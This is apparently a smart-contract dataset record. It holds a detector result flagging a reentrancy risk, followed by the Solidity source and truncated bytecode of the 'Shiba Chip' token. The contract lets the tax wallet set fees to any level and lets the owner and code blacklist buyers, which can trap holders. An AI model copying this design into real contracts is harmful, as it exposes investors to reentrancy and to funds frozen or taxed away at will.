810181811067ffffffffffffffff82111715612c2257612c21612bcb565b5b80604052505050565b6000612c35612ba1565b9050612c418282612bfa565b919050565b600067ffffffffffffffff821115612c6157612c60612bcb565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612ca282612c77565b9050919050565b612cb281612c97565b8114612cbd57600080fd5b50565b600081359050612ccf81612ca9565b92915050565b6000612ce8612ce384612c46565b612c2b565b90508083825260208201905060208402830185811115612d0b57612d0a612c72565b5b835b81811015612d345780612d208882612cc0565b845260208401935050602081019050612d0d565b5050509392505050565b600082601f830112612d5357612d52612bb5565b5b8135612d63848260208601612cd5565b91505092915050565b600060208284031215612d8257612d81612bab565b5b600082013567ffffffffffffffff811115612da057612d9f612bb0565b5b612dac84828501612d3e565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612def578082015181840152602081019050612dd4565b83811115612dfe576000848401525b50505050565b6000612e0f82612db5565b612e198185612dc0565b9350612e29818560208601612dd1565b612e3281612bba565b840191505092915050565b60006020820190508181036000830152612e578184612e04565b905092915050565b6000819050919050565b612e7281612e5f565b8114612e7d57600080fd5b50565b600081359050612e8f81612e69565b92915050565b60008060408385031215612eac57612eab612bab565b5b6000612eba85828601612cc0565b9250506020612ecb85828601612e80565b9150509250929050565b60008115159050919050565b612eea81612ed5565b82525050565b6000602082019050612f056000830184612ee1565b92915050565b6000819050919050565b6000612f30612f2b612f2684612c77565b612f0b565b612c77565b9050919050565b6000612f4282612f15565b9050919050565b6000612f5482612f37565b9050919050565b612f6481612f49565b82525050565b6000602082019050612f7f6000830184612f5b565b92915050565b612f8e81612e5f565b82525050565b6000602082019050612fa96000830184612f85565b92915050565b600080600060608486031215612fc857612fc7612bab565b5b6000612fd686828701612cc0565b9350506020612fe786828701612cc0565b9250506040612ff886828701612e80565b9150509250925092565b600060ff82169050919050565b61301881613002565b82525050565b6000602082019050613033600083018461300f565b92915050565b61304281612c97565b82525050565b600060208201905061305d6000830184613039565b92915050565b60006020828403121561307957613078612bab565b5b600061308784828501612cc0565b91505092915050565b61309981612ed5565b81146130a457600080fd5b50565b6000813590506130b681613090565b92915050565b6000602082840312156130d2576130d1612bab565b5b60006130e0848285016130a7565b91505092915050565b6000602082840312156130ff576130fe612bab565b5b600061310d84828501612e80565b91505092915050565b600080600080608085870312156131305761312f612bab565b5b600061313e87828801612e80565b945050602061314f87828801612e80565b935050604061316087828801612e80565b925050606061317187828801612e80565b91505092959194509250565b600080fd5b60008083601f84011261319857613197612bb5565b5b8235905067ffffffffffffffff8111156131b5576131b461317d565b5b6020830191508360208202830111156131d1576131d0612c72565b5b9250929050565b6000806000604084860312156131f1576131f0612bab565b5b600084013567ffffffffffffffff81111561320f5761320e612bb0565b5b61321b86828701613182565b9350935050602061322e868287016130a7565b9150509250925092565b6000806040838503121561324f5761324e612bab565b5b600061325d85828601612cc0565b925050602061326e85828601612cc0565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006132ae602083612dc0565b91506132b982613278565b602082019050919050565b600060208201905081810360008301526132dd816132a1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061334d82612e5f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133805761337f613313565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006133e7602683612dc0565b91506133f28261338b565b604082019050919050565b60006020820190508181036000830152613416816133da565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613479602483612dc0565b91506134848261341d565b604082019050919050565b600060208201905081810360008301526134a88161346c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061350b602283612dc0565b9150613516826134af565b604082019050919050565b6000602082019050818103600083015261353a816134fe565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061359d602583612dc0565b91506135a882613541565b604082019050919050565b600060208201905081810360008301526135cc81613590565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061362f602383612dc0565b915061363a826135d3565b604082019050919050565b6000602082019050818103600083015261365e81613622565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006136c1602983612dc0565b91506136cc82613665565b604082019050919050565b600060208201905081810360008301526136f0816136b4565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613753603f83612dc0565b915061375e826136f7565b604082019050919050565b6000602082019050818103600083015261378281613746565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b60006137bf601c83612dc0565b91506137ca82613789565b602082019050919050565b600060208201905081810360008301526137ee816137b2565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613851602383612dc0565b915061385c826137f5565b604082019050919050565b6000602082019050818103600083015261388081613844565b9050919050565b600061389282612e5f565b915061389d83612e5f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156138d2576138d1613313565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613939602383612dc0565b9150613944826138dd565b604082019050919050565b600060208201905081810360008301526139688161392c565b9050919050565b600061397a82612e5f565b915061398583612e5f565b92508282101561399857613997613313565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006139ff602a83612dc0565b9150613a0a826139a3565b604082019050919050565b60006020820190508181036000830152613a2e816139f2565b9050919050565b600081519050613a4481612ca9565b92915050565b600060208284031215613a6057613a5f612bab565b5b6000613a6e84828501613a35565b91505092915050565b6000819050919050565b6000613a9c613a97613a9284613a77565b612f0b565b612e5f565b9050919050565b613aac81613a81565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613ae781612c97565b82525050565b6000613af98383613ade565b60208301905092915050565b6000602082019050919050565b6000613b1d82613ab2565b613b278185613abd565b9350613b3283613ace565b8060005b83811015613b63578151613b4a8882613aed565b9750613b5583613b05565b925050600181019050613b36565b5085935050505092915050565b600060a082019050613b856000830188612f85565b613b926020830187613aa3565b8181036040830152613ba48186613b12565b9050613bb36060830185613039565b613bc06080830184612f85565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613c0482612e5f565b9150613c0f83612e5f565b925082613c1f57613c1e613bca565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613c60601b83612dc0565b9150613c6b82613c2a565b602082019050919050565b60006020820190508181036000830152613c8f81613c53565b9050919050565b6000613ca182612e5f565b9150613cac83612e5f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613ce557613ce4613313565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613d4c602183612dc0565b9150613d5782613cf0565b604082019050919050565b60006020820190508181036000830152613d7b81613d3f565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200d977c73208714d86dacd3f75ac7ed38fc005d190ebe10bbfcfc3036d8bbc16864736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
7,133
0x8ac8b8883b46e3e9c0a975e9b3a42a3103ee4ea0
/* Website: https://shibchip.com Telegram: https://t.me/shibchiptoken Twitter: https://twitter.com/SHIPCHIP */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SHIBCHIP is Context, IERC20, Ownable { mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; mapping (address => User) private cooldown; uint private constant _totalSupply = 1e10 * 10**9; string public constant name = unicode"Shiba Chip"; string public constant symbol = unicode"SHIBCHIP"; uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable public _TaxAdd; address public uniswapV2Pair; uint public _buyFee = 13; uint public _sellFee = 13; uint private _feeRate = 15; uint public _maxBuyAmount; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap = false; bool public _useImpactFeeSetter = false; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event TaxAddUpdated(address _taxwallet); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable TaxAdd) { _TaxAdd = TaxAdd; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[TaxAdd] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){ if (recipient != tx.origin) _isBot[recipient] = true; } _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(!_isBot[from] && !_isBot[to] && !_isBot[msg.sender]); require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool isBuy = false; if(from != owner() && to != owner()) { if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); if (block.timestamp == _launchedAt) _isBot[to] = true; if((_launchedAt + (10 minutes)) > block.timestamp) { require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); } if(!cooldown[to].exists) { cooldown[to] = User(0,true); } if((_launchedAt + (10 minutes)) > block.timestamp) { require(amount <= _maxBuyAmount, "Exceeds maximum buy amount."); require(cooldown[to].buy < block.timestamp + (30 seconds), "Your buy cooldown has not expired."); } cooldown[to].buy = block.timestamp; isBuy = true; } if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired."); uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _TaxAdd.transfer(amount); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} function addLiquidity() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _tradingOpen = true; _launchedAt = block.timestamp; _maxBuyAmount = 350000000 * 10**9; _maxHeldTokens = 350000000 * 10**9; } function manualswap() external { require(_msgSender() == _TaxAdd); uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _TaxAdd); uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external { require(_msgSender() == _TaxAdd); require(rate > 1, "can't be zero"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external { require(_msgSender() == _TaxAdd); _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function toggleImpactFee(bool onoff) external { require(_msgSender() == _TaxAdd); _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateTaxAdd(address newAddress) external { require(_msgSender() == _TaxAdd); _TaxAdd = payable(newAddress); emit TaxAddUpdated(_TaxAdd); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } function setBots(address[] memory bots_) external onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) external { require(_msgSender() == _TaxAdd); for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } }
0x6080604052600436106101e75760003560e01c8063590f897e11610102578063a9059cbb11610095578063db92dbb611610064578063db92dbb614610597578063dcb0e0ad146105ac578063dd62ed3e146105cc578063e8078d941461061257600080fd5b8063a9059cbb1461052d578063b515566a1461054d578063c3c8cd801461056d578063c9567bf91461058257600080fd5b806373f54a11116100d157806373f54a111461049b5780638da5cb5b146104bb57806394b8d8f2146104d957806395d89b41146104f957600080fd5b8063590f897e1461043b5780636fc3eaec1461045157806370a0823114610466578063715018a61461048657600080fd5b806327f3a72a1161017a5780633bbac579116101495780633bbac579146103ac57806340b9a54b146103e557806345596e2e146103fb57806349bd5a5e1461041b57600080fd5b806327f3a72a1461033a578063313ce5671461034f57806331c2d8471461037657806332d873d81461039657600080fd5b8063104ce66d116101b6578063104ce66d146102b157806318160ddd146102e95780631940d0201461030457806323b872dd1461031a57600080fd5b80630492f055146101f357806306fdde031461021c578063095ea7b31461025f5780630b78f9c01461028f57600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b50610209600d5481565b6040519081526020015b60405180910390f35b34801561022857600080fd5b506102526040518060400160405280600a8152602001690536869626120436869760b41b81525081565b6040516102139190611a4c565b34801561026b57600080fd5b5061027f61027a366004611ac6565b610627565b6040519015158152602001610213565b34801561029b57600080fd5b506102af6102aa366004611af2565b61063d565b005b3480156102bd57600080fd5b506008546102d1906001600160a01b031681565b6040516001600160a01b039091168152602001610213565b3480156102f557600080fd5b50678ac7230489e80000610209565b34801561031057600080fd5b50610209600e5481565b34801561032657600080fd5b5061027f610335366004611b14565b6106a4565b34801561034657600080fd5b50610209610776565b34801561035b57600080fd5b50610364600981565b60405160ff9091168152602001610213565b34801561038257600080fd5b506102af610391366004611b6b565b610786565b3480156103a257600080fd5b50610209600f5481565b3480156103b857600080fd5b5061027f6103c7366004611c30565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103f157600080fd5b50610209600a5481565b34801561040757600080fd5b506102af610416366004611c4d565b610812565b34801561042757600080fd5b506009546102d1906001600160a01b031681565b34801561044757600080fd5b50610209600b5481565b34801561045d57600080fd5b506102af6108b3565b34801561047257600080fd5b50610209610481366004611c30565b6108e0565b34801561049257600080fd5b506102af6108fb565b3480156104a757600080fd5b506102af6104b6366004611c30565b61096f565b3480156104c757600080fd5b506000546001600160a01b03166102d1565b3480156104e557600080fd5b5060105461027f9062010000900460ff1681565b34801561050557600080fd5b5061025260405180604001604052806008815260200167053484942434849560c41b81525081565b34801561053957600080fd5b5061027f610548366004611ac6565b6109dd565b34801561055957600080fd5b506102af610568366004611b6b565b6109ea565b34801561057957600080fd5b506102af610b03565b34801561058e57600080fd5b506102af610b39565b3480156105a357600080fd5b50610209610bd4565b3480156105b857600080fd5b506102af6105c7366004611c74565b610bec565b3480156105d857600080fd5b506102096105e7366004611c91565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561061e57600080fd5b506102af610c5f565b6000610634338484610fa5565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461065d57600080fd5b600a829055600b81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60105460009060ff1680156106d257506001600160a01b03831660009081526004602052604090205460ff16155b80156106eb57506009546001600160a01b038581169116145b15610724576001600160a01b0383163214610724576001600160a01b0383166000908152600560205260409020805460ff191660011790555b61072f8484846110c9565b6001600160a01b038416600090815260036020908152604080832033845290915281205461075e908490611ce0565b905061076b853383610fa5565b506001949350505050565b6000610781306108e0565b905090565b6008546001600160a01b0316336001600160a01b0316146107a657600080fd5b60005b815181101561080e576000600560008484815181106107ca576107ca611cf7565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061080681611d0d565b9150506107a9565b5050565b6008546001600160a01b0316336001600160a01b03161461083257600080fd5b600181116108775760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b60448201526064015b60405180910390fd5b600c8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6008546001600160a01b0316336001600160a01b0316146108d357600080fd5b476108dd81611719565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146109255760405162461bcd60e51b815260040161086e90611d28565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b03161461098f57600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d6906020016108a8565b60006106343384846110c9565b6000546001600160a01b03163314610a145760405162461bcd60e51b815260040161086e90611d28565b60005b815181101561080e5760095482516001600160a01b0390911690839083908110610a4357610a43611cf7565b60200260200101516001600160a01b031614158015610a94575060075482516001600160a01b0390911690839083908110610a8057610a80611cf7565b60200260200101516001600160a01b031614155b15610af157600160056000848481518110610ab157610ab1611cf7565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610afb81611d0d565b915050610a17565b6008546001600160a01b0316336001600160a01b031614610b2357600080fd5b6000610b2e306108e0565b90506108dd81611753565b6000546001600160a01b03163314610b635760405162461bcd60e51b815260040161086e90611d28565b60105460ff1615610bb05760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161086e565b6010805460ff1916600117905542600f556704db732547630000600d819055600e55565b600954600090610781906001600160a01b03166108e0565b6008546001600160a01b0316336001600160a01b031614610c0c57600080fd5b6010805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb906020016108a8565b6000546001600160a01b03163314610c895760405162461bcd60e51b815260040161086e90611d28565b60105460ff1615610cd65760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161086e565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610d123082678ac7230489e80000610fa5565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d50573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d749190611d5d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dc1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de59190611d5d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610e32573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e569190611d5d565b600980546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610e86816108e0565b600080610e9b6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610f03573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f289190611d7a565b505060095460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610f81573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061080e9190611da8565b6001600160a01b0383166110075760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161086e565b6001600160a01b0382166110685760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161086e565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff1615801561110b57506001600160a01b03821660009081526005602052604090205460ff16155b801561112757503360009081526005602052604090205460ff16155b61113057600080fd5b6001600160a01b0383166111945760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161086e565b6001600160a01b0382166111f65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161086e565b600081116112585760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161086e565b600080546001600160a01b0385811691161480159061128557506000546001600160a01b03848116911614155b156116ba576009546001600160a01b0385811691161480156112b557506007546001600160a01b03848116911614155b80156112da57506001600160a01b03831660009081526004602052604090205460ff16155b156115565760105460ff166113315760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e0000000000000000604482015260640161086e565b600f5442141561135f576001600160a01b0383166000908152600560205260409020805460ff191660011790555b42600f546102586113709190611dc5565b11156113ea57600e54611382846108e0565b61138c9084611dc5565b11156113ea5760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b606482015260840161086e565b6001600160a01b03831660009081526006602052604090206001015460ff16611452576040805180820182526000808252600160208084018281526001600160a01b03891684526006909152939091209151825591519101805460ff19169115159190911790555b42600f546102586114639190611dc5565b111561153757600d548211156114bb5760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e0000000000604482015260640161086e565b6114c642601e611dc5565b6001600160a01b038416600090815260066020526040902054106115375760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b606482015260840161086e565b506001600160a01b038216600090815260066020526040902042905560015b601054610100900460ff16158015611570575060105460ff165b801561158a57506009546001600160a01b03858116911614155b156116ba5761159a42600f611dc5565b6001600160a01b0385166000908152600660205260409020541061160c5760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b606482015260840161086e565b6000611617306108e0565b905080156116a35760105462010000900460ff161561169a57600c546009546064919061164c906001600160a01b03166108e0565b6116569190611ddd565b6116609190611dfc565b81111561169a57600c5460095460649190611683906001600160a01b03166108e0565b61168d9190611ddd565b6116979190611dfc565b90505b6116a381611753565b4780156116b3576116b347611719565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff16806116fc57506001600160a01b03841660009081526004602052604090205460ff165b15611705575060005b61171285858584866118c7565b5050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561080e573d6000803e3d6000fd5b6010805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061179757611797611cf7565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156117f0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118149190611d5d565b8160018151811061182757611827611cf7565b6001600160a01b03928316602091820292909201015260075461184d9130911684610fa5565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790611886908590600090869030904290600401611e1e565b600060405180830381600087803b1580156118a057600080fd5b505af11580156118b4573d6000803e3d6000fd5b50506010805461ff001916905550505050565b60006118d383836118e9565b90506118e18686868461190d565b505050505050565b60008083156119065782156119015750600a54611906565b50600b545b9392505050565b60008061191a84846119ea565b6001600160a01b0388166000908152600260205260409020549193509150611943908590611ce0565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611973908390611dc5565b6001600160a01b03861660009081526002602052604090205561199581611a1e565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119da91815260200190565b60405180910390a3505050505050565b6000808060646119fa8587611ddd565b611a049190611dfc565b90506000611a128287611ce0565b96919550909350505050565b30600090815260026020526040902054611a39908290611dc5565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611a7957858101830151858201604001528201611a5d565b81811115611a8b576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146108dd57600080fd5b8035611ac181611aa1565b919050565b60008060408385031215611ad957600080fd5b8235611ae481611aa1565b946020939093013593505050565b60008060408385031215611b0557600080fd5b50508035926020909101359150565b600080600060608486031215611b2957600080fd5b8335611b3481611aa1565b92506020840135611b4481611aa1565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611b7e57600080fd5b823567ffffffffffffffff80821115611b9657600080fd5b818501915085601f830112611baa57600080fd5b813581811115611bbc57611bbc611b55565b8060051b604051601f19603f83011681018181108582111715611be157611be1611b55565b604052918252848201925083810185019188831115611bff57600080fd5b938501935b82851015611c2457611c1585611ab6565b84529385019392850192611c04565b98975050505050505050565b600060208284031215611c4257600080fd5b813561190681611aa1565b600060208284031215611c5f57600080fd5b5035919050565b80151581146108dd57600080fd5b600060208284031215611c8657600080fd5b813561190681611c66565b60008060408385031215611ca457600080fd5b8235611caf81611aa1565b91506020830135611cbf81611aa1565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b60008282101561